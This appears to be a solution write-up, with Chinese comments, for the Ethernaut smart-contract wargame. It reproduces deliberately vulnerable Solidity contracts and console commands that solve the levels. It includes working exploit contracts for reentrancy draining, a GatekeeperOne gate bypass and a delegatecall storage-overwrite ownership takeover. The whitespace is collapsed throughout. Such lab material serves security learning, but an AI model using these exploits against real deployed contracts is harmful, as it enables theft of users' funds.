>>awaitcontract.info()"You will find what you need in info1().">>awaitcontract.info1()"Try info2(), but with \"hello\" as a parameter.">>awaitcontract.info2("hello")"The property infoNum holds the number of the next info method to call.">>awaitcontract.infoNum(){"negative":0,"words":[42,null],"length":1,"red":null}>>awaitcontract.info42()"theMethodName is the name of the next method.">>awaitcontract.theMethodName()"The method name is method7123949.">>awaitcontract.method7123949()"If you know the password, submit it to authenticate().">>awaitcontract.password()"ethernaut0">>awaitcontract.authenticate("ethernaut0")// MetaMask 授权交易,等待确认>>awaitcontract.getCleared()true
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;// Arithmetic operations revert on underflow and overflow// no need to use SafeMath after v0.8.0contractFallback{mapping(address=>uint)publiccontributions;addresspublicowner;constructor(){// 构造函数owner=msg.sender;// 所有者为当前调用contributions[msg.sender]=1000*(1ether);}modifieronlyOwner{require(msg.sender==owner,"caller is not the owner");_;// only used inside a function modifier and it tells Solidity to execute the rest of the code.}functioncontribute()publicpayable{// msg.value - 随消息发送的 wei 的数量require(msg.value<0.001ether);contributions[msg.sender]+=msg.value;// 每次转账不能超过 0.001 以太币,想要超过原 owner 的 1000 以太币// 需要重复调用多次 contribute 函数,且测试账户也没有那么多以太币,显然不太现实if(contributions[msg.sender]>contributions[owner]){owner=msg.sender;}}functiongetContribution()publicviewreturns(uint){returncontributions[msg.sender];}functionwithdraw()publiconlyOwner{payable(owner).transfer(address(this).balance);// 合约所有者才能将账户余额清零}// 一个合约最多能有一个 receive 函数,不能有参数和返回值// 必须声明 external 和 payable// 当调用合约的 data 域为空时,将会执行;如果没有 receive 函数,将尝试 fallback 函数receive()externalpayable{require(msg.value>0&&contributions[msg.sender]>0);owner=msg.sender;}}
// SPDX-License-Identifier: MITpragmasolidity^0.6.0;import'@openzeppelin/contracts/math/SafeMath.sol';contractFallout{usingSafeMathforuint256;mapping(address=>uint)allocations;addresspayablepublicowner;/* constructor */functionFal1out()publicpayable{owner=msg.sender;allocations[owner]=msg.value;}// 在 v0.4.22 前,构造函数是和合约同名的函数(v0.5.0 弃用)modifieronlyOwner{require(msg.sender==owner,"caller is not the owner");_;}functionallocate()publicpayable{allocations[msg.sender]=allocations[msg.sender].add(msg.value);}functionsendAllocation(addresspayableallocator)public{require(allocations[allocator]>0);allocator.transfer(allocations[allocator]);}functioncollectAllocations()publiconlyOwner{msg.sender.transfer(address(this).balance);}functionallocatorBalance(addressallocator)publicviewreturns(uint){returnallocations[allocator];}}
// SPDX-License-Identifier: MITpragmasolidity^0.6.12;import'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol';contractReentrance{usingSafeMathforuint256;mapping(address=>uint)publicbalances;functiondonate(address_to)publicpayable{balances[_to]=balances[_to].add(msg.value);}functionbalanceOf(address_who)publicviewreturns(uintbalance){returnbalances[_who];}functionwithdraw(uint_amount)public{if(balances[msg.sender]>=_amount){(boolresult,)=msg.sender.call{value:_amount}("");if(result){_amount;// does nothing}balances[msg.sender]-=_amount;}}receive()externalpayable{}}contractHack{Reentrancereentrance;functionexploit(addresspayableinstance)public{reentrance=Reentrance(instance);reentrance.withdraw(125000000000000);}receive()externalpayable{if(msg.sender.balance>=msg.value&&gasleft()>6000){reentrance.withdraw(125000000000000);}}}
>>awaitweb3.eth.getStorageAt(instance,0)"0x0000000000000000000000000000000000000000000000000000000000000001">>awaitweb3.eth.getStorageAt(instance,1)"0x000000000000000000000000000000000000000000000000000000006210d5b1">>awaitweb3.eth.getStorageAt(instance,2)"0x00000000000000000000000000000000000000000000000000000000d5b1ff0a"// 0a for flattening, ff for denomination>>awaitweb3.eth.getStorageAt(instance,3)"0xc3003c2bcb65196b8352fb925d945f9229929bcc727f70ea451255859a6a4f56">>awaitweb3.eth.getStorageAt(instance,4)"0x6d6f76ea288ee9c55ab1ad76264518237a23af3495ee5702f57a164f8aeb99b0">>awaitweb3.eth.getStorageAt(instance,5)"0x06e3eb3b9e34467cbf1a226fc2bd13e5948a7a15ef2205caf186fa3df3076f53"// data[2]
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractGatekeeperOne{addresspublicentrant;modifiergateOne(){require(msg.sender!=tx.origin);_;}modifiergateTwo(){require(gasleft()%8191==0);_;}modifiergateThree(bytes8_gateKey){require(uint32(uint64(_gateKey))==uint16(uint64(_gateKey)),"GatekeeperOne: invalid gateThree part one");require(uint32(uint64(_gateKey))!=uint64(_gateKey),"GatekeeperOne: invalid gateThree part two");require(uint32(uint64(_gateKey))==uint16(uint160(tx.origin)),"GatekeeperOne: invalid gateThree part three");_;}functionenter(bytes8_gateKey)publicgateOnegateTwogateThree(_gateKey)returns(bool){entrant=tx.origin;returntrue;}}contractHack{functionexploit(addressinstance)public{GatekeeperOnegk=GatekeeperOne(instance);bytes8_gateKey=bytes8(uint64(uint160(tx.origin))&0xff0000ffff);gk.enter{gas:24829}(_gateKey);}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import'@openzeppelin/contracts/token/ERC20/ERC20.sol';contractNaughtCoinisERC20{// 基于 ERC20// string public constant name = 'NaughtCoin';// string public constant symbol = '0x0';// uint public constant decimals = 18;uintpublictimeLock=block.timestamp+10*365days;uint256publicINITIAL_SUPPLY;addresspublicplayer;constructor(address_player)ERC20('NaughtCoin','0x0'){player=_player;INITIAL_SUPPLY=1000000*(10**uint256(decimals()));// _totalSupply = INITIAL_SUPPLY;// _balances[player] = INITIAL_SUPPLY;_mint(player,INITIAL_SUPPLY);// Creates INITIAL_SUPPLY tokens and assigns them to playeremitTransfer(address(0),player,INITIAL_SUPPLY);}functiontransfer(address_to,uint256_value)overridepubliclockTokensreturns(bool){// super 继承直接父合约的 transfer 函数super.transfer(_to,_value);// 将调用者 _value 数量的金额转移给 _to}// Prevent the initial owner from transferring tokens until the timelock has passedmodifierlockTokens(){if(msg.sender==player){require(block.timestamp>timeLock);_;}else{_;}}}
lockTokens 限制了 player,而被覆写的 transfer 只能由持有货币的账户发起转账
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractPreservation{// public library contracts addresspublictimeZone1Library;addresspublictimeZone2Library;addresspublicowner;uintstoredTime;// Sets the function signature for delegatecallbytes4constantsetTimeSignature=bytes4(keccak256("setTime(uint256)"));constructor(address_timeZone1LibraryAddress,address_timeZone2LibraryAddress){timeZone1Library=_timeZone1LibraryAddress;timeZone2Library=_timeZone2LibraryAddress;owner=msg.sender;}// set the time for timezone 1functionsetFirstTime(uint_timeStamp)public{timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));}// set the time for timezone 2functionsetSecondTime(uint_timeStamp)public{timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));}}// Simple library contract to set the timecontractLibraryContract{// stores a timestamp uintstoredTime;functionsetTime(uint_time)public{storedTime=_time;// 修改了第一个状态变量}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractPreservation{addresspublictimeZone1Library;addresspublictimeZone2Library;addresspublicowner;uintstoredTime;bytes4constantsetTimeSignature=bytes4(keccak256("setTime(uint256)"));constructor(address_timeZone1LibraryAddress,address_timeZone2LibraryAddress){timeZone1Library=_timeZone1LibraryAddress;timeZone2Library=_timeZone2LibraryAddress;owner=msg.sender;}functionsetFirstTime(uint_timeStamp)public{timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));}functionsetSecondTime(uint_timeStamp)public{timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));}}contractLibraryContract{uintstoredTime;functionsetTime(uint_time)public{storedTime=_time;}}contractHack{// Make sure the storage layout is the same as Preservation// This will allow us to correctly update the state variablesaddresspublictimeZone1Library;addresspublictimeZone2Library;addresspublicowner;uintstoredTime;Preservationpreservation;constructor(addressinstance){preservation=Preservation(instance);}functionattack()public{// override address of timeZone1Librarypreservation.setFirstTime(uint(uint160(address(this))));// change the ownerpreservation.setFirstTime(1);}// function signature must match LibraryContract.setTimeSignaturefunctionsetTime(uint_time)public{owner=tx.origin;_time;}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractRecovery{//generate tokensfunctiongenerateToken(stringmemory_name,uint256_initialSupply)public{newSimpleToken(_name,msg.sender,_initialSupply);}}contractSimpleToken{stringpublicname;mapping(address=>uint)publicbalances;// constructorconstructor(stringmemory_name,address_creator,uint256_initialSupply){name=_name;balances[_creator]=_initialSupply;}// collect ether in return for tokensreceive()externalpayable{balances[msg.sender]=msg.value*10;}// allow transfers of tokensfunctiontransfer(address_to,uint_amount)public{require(balances[msg.sender]>=_amount);balances[msg.sender]=balances[msg.sender]-_amount;balances[_to]=_amount;}// clean up after ourselvesfunctiondestroy(addresspayable_to)public{selfdestruct(_to);}}
importrlpfrometh_utilsimportkeccak,to_checksum_address,to_bytesdefmk_contract_address(sender:str,nonce:int)->str:""" Create a contract address using eth-utils. """sender_bytes=to_bytes(hexstr=sender)address_bytes=keccak(rlp.encode([sender_bytes,nonce]))[12:]returnto_checksum_address(address_bytes)mk_contract_address(to_checksum_address("0x518C2143bDd79d3bc060BC4883d92D545D3E3bb0"),1)# 0x53D144BcF44de3DeE630b1CFEabD91AC3d3caF5a
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractDenial{addresspublicpartner;// withdrawal partner - pay the gas, split the withdrawaddresspublicconstantowner=address(0xA9E);uinttimeLastWithdrawn;mapping(address=>uint)withdrawPartnerBalances;// keep track of partners balancesfunctionsetWithdrawPartner(address_partner)public{partner=_partner;}// withdraw 1% to recipient and 1% to ownerfunctionwithdraw()public{uintamountToSend=address(this).balance/100;// perform a call without checking return// The recipient can revert, the owner will still get their sharepartner.call{value:amountToSend}("");payable(owner).transfer(amountToSend);// keep track of last withdrawal timetimeLastWithdrawn=block.timestamp;withdrawPartnerBalances[partner]+=amountToSend;}// allow deposit of fundsreceive()externalpayable{}// convenience functionfunctioncontractBalance()publicviewreturns(uint){returnaddress(this).balance;}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;pragmaexperimentalABIEncoderV2;// redundantimport"../helpers/UpgradeableProxy-08.sol";contractPuzzleProxyisUpgradeableProxy{addresspublicpendingAdmin;addresspublicadmin;constructor(address_admin,address_implementation,bytesmemory_initData)UpgradeableProxy(_implementation,_initData){admin=_admin;}modifieronlyAdmin{require(msg.sender==admin,"Caller is not the admin");_;}functionproposeNewAdmin(address_newAdmin)external{pendingAdmin=_newAdmin;}functionapproveNewAdmin(address_expectedAdmin)externalonlyAdmin{require(pendingAdmin==_expectedAdmin,"Expected new admin by the current admin is not the pending admin");admin=pendingAdmin;}functionupgradeTo(address_newImplementation)externalonlyAdmin{_upgradeTo(_newImplementation);}}contractPuzzleWallet{addresspublicowner;uint256publicmaxBalance;mapping(address=>bool)publicwhitelisted;mapping(address=>uint256)publicbalances;functioninit(uint256_maxBalance)public{require(maxBalance==0,"Already initialized");maxBalance=_maxBalance;owner=msg.sender;}modifieronlyWhitelisted{require(whitelisted[msg.sender],"Not whitelisted");_;}functionsetMaxBalance(uint256_maxBalance)externalonlyWhitelisted{require(address(this).balance==0,"Contract balance is not 0");maxBalance=_maxBalance;}functionaddToWhitelist(addressaddr)external{require(msg.sender==owner,"Not the owner");whitelisted[addr]=true;}functiondeposit()externalpayableonlyWhitelisted{require(address(this).balance<=maxBalance,"Max balance reached");balances[msg.sender]+=msg.value;}functionexecute(addressto,uint256value,bytescalldatadata)externalpayableonlyWhitelisted{require(balances[msg.sender]>=value,"Insufficient balance");balances[msg.sender]-=value;(boolsuccess,)=to.call{value:value}(data);require(success,"Execution failed");}functionmulticall(bytes[]calldatadata)externalpayableonlyWhitelisted{booldepositCalled=false;for(uint256i=0;i<data.length;i++){bytesmemory_data=data[i];bytes4selector;assembly{selector:=mload(add(_data,32))}if(selector==this.deposit.selector){require(!depositCalled,"Deposit can only be called once");// Protect against reusing msg.valuedepositCalled=true;}(boolsuccess,)=address(this).delegatecall(data[i]);require(success,"Error while delegating call");}}}
// SPDX-License-Identifier: MITpragmasolidity<0.7.0;import"openzeppelin-contracts-06/utils/Address.sol";import"openzeppelin-contracts-06/proxy/Initializable.sol";contractMotorbike{// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1// constant variable does not have a storage slotbytes32internalconstant_IMPLEMENTATION_SLOT=0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;structAddressSlot{addressvalue;}// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.constructor(address_logic)public{require(Address.isContract(_logic),"ERC1967: new implementation is not a contract");_getAddressSlot(_IMPLEMENTATION_SLOT).value=_logic;(boolsuccess,)=_logic.delegatecall(abi.encodeWithSignature("initialize()"));require(success,"Call failed");}// Delegates the current call to `implementation`.function_delegate(addressimplementation)internalvirtual{// solhint-disable-next-line no-inline-assemblyassembly{calldatacopy(0,0,calldatasize())letresult:=delegatecall(gas(),implementation,0,calldatasize(),0,0)returndatacopy(0,0,returndatasize())switchresultcase0{revert(0,returndatasize())}default{return(0,returndatasize())}}}// Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call datafallback()externalpayablevirtual{_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);}// Returns an `AddressSlot` with member `value` located at `slot`.function_getAddressSlot(bytes32slot)internalpurereturns(AddressSlotstorager){assembly{r_slot:=slot}}}contractEngineisInitializable{// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1bytes32internalconstant_IMPLEMENTATION_SLOT=0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;addresspublicupgrader;uint256publichorsePower;structAddressSlot{addressvalue;}functioninitialize()externalinitializer{horsePower=1000;upgrader=msg.sender;}// Upgrade the implementation of the proxy to `newImplementation`// subsequently execute the function callfunctionupgradeToAndCall(addressnewImplementation,bytesmemorydata)externalpayable{_authorizeUpgrade();_upgradeToAndCall(newImplementation,data);}// Restrict to upgrader rolefunction_authorizeUpgrade()internalview{require(msg.sender==upgrader,"Can't upgrade");}// Perform implementation upgrade with security checks for UUPS(Universal Upgradeable Proxy Standard) proxies, and additional setup call.function_upgradeToAndCall(addressnewImplementation,bytesmemorydata)internal{// Initial upgrade and setup call_setImplementation(newImplementation);if(data.length>0){(boolsuccess,)=newImplementation.delegatecall(data);require(success,"Call failed");}}// Stores a new address in the EIP1967 implementation slot.function_setImplementation(addressnewImplementation)private{require(Address.isContract(newImplementation),"ERC1967: new implementation is not a contract");AddressSlotstorager;assembly{r_slot:=_IMPLEMENTATION_SLOT}r.value=newImplementation;}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"openzeppelin-contracts-08/access/Ownable.sol";import"openzeppelin-contracts-08/token/ERC20/ERC20.sol";interfaceDelegateERC20{functiondelegateTransfer(addressto,uint256value,addressorigSender)externalreturns(bool);}interfaceIDetectionBot{functionhandleTransaction(addressuser,bytescalldatamsgData)external;}interfaceIForta{functionsetDetectionBot(addressdetectionBotAddress)external;functionnotify(addressuser,bytescalldatamsgData)external;functionraiseAlert(addressuser)external;}contractFortaisIForta{mapping(address=>IDetectionBot)publicusersDetectionBots;mapping(address=>uint256)publicbotRaisedAlerts;functionsetDetectionBot(addressdetectionBotAddress)externaloverride{usersDetectionBots[msg.sender]=IDetectionBot(detectionBotAddress);}functionnotify(addressuser,bytescalldatamsgData)externaloverride{if(address(usersDetectionBots[user])==address(0))return;tryusersDetectionBots[user].handleTransaction(user,msgData){return;}catch{}}functionraiseAlert(addressuser)externaloverride{if(address(usersDetectionBots[user])!=msg.sender)return;botRaisedAlerts[msg.sender]+=1;}}contractCryptoVault{addresspublicsweptTokensRecipient;// playerIERC20publicunderlying;// DoubleEntryPointconstructor(addressrecipient){sweptTokensRecipient=recipient;}functionsetUnderlying(addresslatestToken)public{require(address(underlying)==address(0),"Already set");underlying=IERC20(latestToken);}/* ... */functionsweepToken(IERC20token)public{require(token!=underlying,"Can't transfer underlying token");token.transfer(sweptTokensRecipient,token.balanceOf(address(this)));}}contractLegacyTokenisERC20("LegacyToken","LGT"),Ownable{DelegateERC20publicdelegate;functionmint(addressto,uint256amount)publiconlyOwner{_mint(to,amount);}functiondelegateToNewContract(DelegateERC20newContract)publiconlyOwner{delegate=newContract;}functiontransfer(addressto,uint256value)publicoverridereturns(bool){if(address(delegate)==address(0)){returnsuper.transfer(to,value);}else{returndelegate.delegateTransfer(to,value,msg.sender);}}}contractDoubleEntryPointisERC20("DoubleEntryPointToken","DET"),DelegateERC20,Ownable{addresspubliccryptoVault;addresspublicplayer;addresspublicdelegatedFrom;Fortapublicforta;constructor(addresslegacyToken,addressvaultAddress,addressfortaAddress,addressplayerAddress){delegatedFrom=legacyToken;forta=Forta(fortaAddress);player=playerAddress;cryptoVault=vaultAddress;_mint(cryptoVault,100ether);}modifieronlyDelegateFrom(){require(msg.sender==delegatedFrom,"Not legacy contract");_;}modifierfortaNotify(){addressdetectionBot=address(forta.usersDetectionBots(player));// Cache old number of bot alertsuint256previousValue=forta.botRaisedAlerts(detectionBot);// Notify Fortaforta.notify(player,msg.data);// Continue execution_;// Check if alarms have been raisedif(forta.botRaisedAlerts(detectionBot)>previousValue)revert("Alert has been triggered, reverting");}functiondelegateTransfer(addressto,uint256value,addressorigSender)publicoverrideonlyDelegateFromfortaNotifyreturns(bool){_transfer(origSender,to,value);returntrue;}}
contractDetectionBotisIDetectionBot{addressvault;constructor(addressinstance){DoubleEntryPointdep=DoubleEntryPoint(instance);vault=dep.cryptoVault();}functionhandleTransaction(addressuser,bytescalldatamsgData)external{// skip the 4-byte function signature(,,addresssender)=abi.decode(msgData[4:],(address,uint256,address));if(sender==vault){IForta(msg.sender).raiseAlert(user);}}}
部署 DetectionBot 后,使用 player 账户调用 Forta.setDetectionBot()
// SPDX-License-Identifier: MITpragmasolidity>=0.8.0<0.9.0;import"openzeppelin-contracts-08/utils/Address.sol";contractGoodSamaritan{Walletpublicwallet;Coinpubliccoin;constructor(){wallet=newWallet();coin=newCoin(address(wallet));wallet.setCoin(coin);}functionrequestDonation()externalreturns(boolenoughBalance){// donate 10 coins to requestertrywallet.donate10(msg.sender){returntrue;}catch(bytesmemoryerr){if(keccak256(abi.encodeWithSignature("NotEnoughBalance()"))==keccak256(err)){// send the coins leftwallet.transferRemainder(msg.sender);returnfalse;}}}}contractCoin{usingAddressforaddress;mapping(address=>uint256)publicbalances;errorInsufficientBalance(uint256current,uint256required);constructor(addresswallet_){// one million coins for Good Samaritan initiallybalances[wallet_]=10**6;}functiontransfer(addressdest_,uint256amount_)external{uint256currentBalance=balances[msg.sender];// transfer only occurs if balance is enoughif(amount_<=currentBalance){balances[msg.sender]-=amount_;balances[dest_]+=amount_;if(dest_.isContract()){// notify contract INotifyable(dest_).notify(amount_);}}else{// a gas-efficient way :)revertInsufficientBalance(currentBalance,amount_);}}}contractWallet{// The owner of the wallet instanceaddresspublicowner;Coinpubliccoin;errorOnlyOwner();errorNotEnoughBalance();modifieronlyOwner(){if(msg.sender!=owner){revertOnlyOwner();}_;}constructor(){owner=msg.sender;}functiondonate10(addressdest_)externalonlyOwner{// check balance leftif(coin.balances(address(this))<10){revertNotEnoughBalance();}else{// donate 10 coinscoin.transfer(dest_,10);}}functiontransferRemainder(addressdest_)externalonlyOwner{// transfer balance leftcoin.transfer(dest_,coin.balances(address(this)));}functionsetCoin(Coincoin_)externalonlyOwner{coin=coin_;}}interfaceINotifyable{functionnotify(uint256amount)external;}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractSwitch{boolpublicswitchOn;// switch is offbytes4publicoffSelector=bytes4(keccak256("turnSwitchOff()"));modifieronlyThis(){require(msg.sender==address(this),"Only the contract can call this");_;}modifieronlyOff(){// we use a complex data type to put in memorybytes32[1]memoryselector;// check that the calldata at position 68 (location of _data)assembly{calldatacopy(selector,68,4)// grab function selector from calldata}require(selector[0]==offSelector,"Can only call the turnOffSwitch function");_;}functionflipSwitch(bytesmemory_data)publiconlyOff{(boolsuccess,)=address(this).call(_data);require(success,"call failed :(");}functionturnSwitchOn()publiconlyThis{switchOn=true;}functionturnSwitchOff()publiconlyThis{switchOn=false;}}
// SPDX-License-Identifier: MITpragmasolidity0.6.12;contractHigherOrder{addresspubliccommander;uint256publictreasury;functionregisterTreasury(uint8)public{assembly{sstore(treasury_slot,calldataload(4))}}functionclaimLeadership()public{if(treasury>255)commander=msg.sender;elserevert("Only members of the Higher Order can become Commander");}}
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;contractStake{uint256publictotalStaked;mapping(address=>uint256)publicUserStake;mapping(address=>bool)publicStakers;addresspublicWETH;constructor(address_weth)payable{totalStaked+=msg.value;WETH=_weth;}functionStakeETH()publicpayable{require(msg.value>0.001ether,"Don't be cheap");totalStaked+=msg.value;UserStake[msg.sender]+=msg.value;Stakers[msg.sender]=true;}functionStakeWETH(uint256amount)publicreturns(bool){require(amount>0.001ether,"Don't be cheap");(,bytesmemoryallowance)=WETH.call(abi.encodeWithSelector(0xdd62ed3e,msg.sender,address(this)));require(bytesToUint(allowance)>=amount,"How am I moving the funds honey?");totalStaked+=amount;UserStake[msg.sender]+=amount;(booltransfered,)=WETH.call(abi.encodeWithSelector(0x23b872dd,msg.sender,address(this),amount));Stakers[msg.sender]=true;returntransfered;}functionUnstake(uint256amount)publicreturns(bool){require(UserStake[msg.sender]>=amount,"Don't be greedy");UserStake[msg.sender]-=amount;totalStaked-=amount;(boolsuccess,)=payable(msg.sender).call{value:amount}("");returnsuccess;}functionbytesToUint(bytesmemorydata)internalpurereturns(uint256){require(data.length>=32,"Data length must be at least 32 bytes");uint256result;assembly{result:=mload(add(data,0x20))}returnresult;}}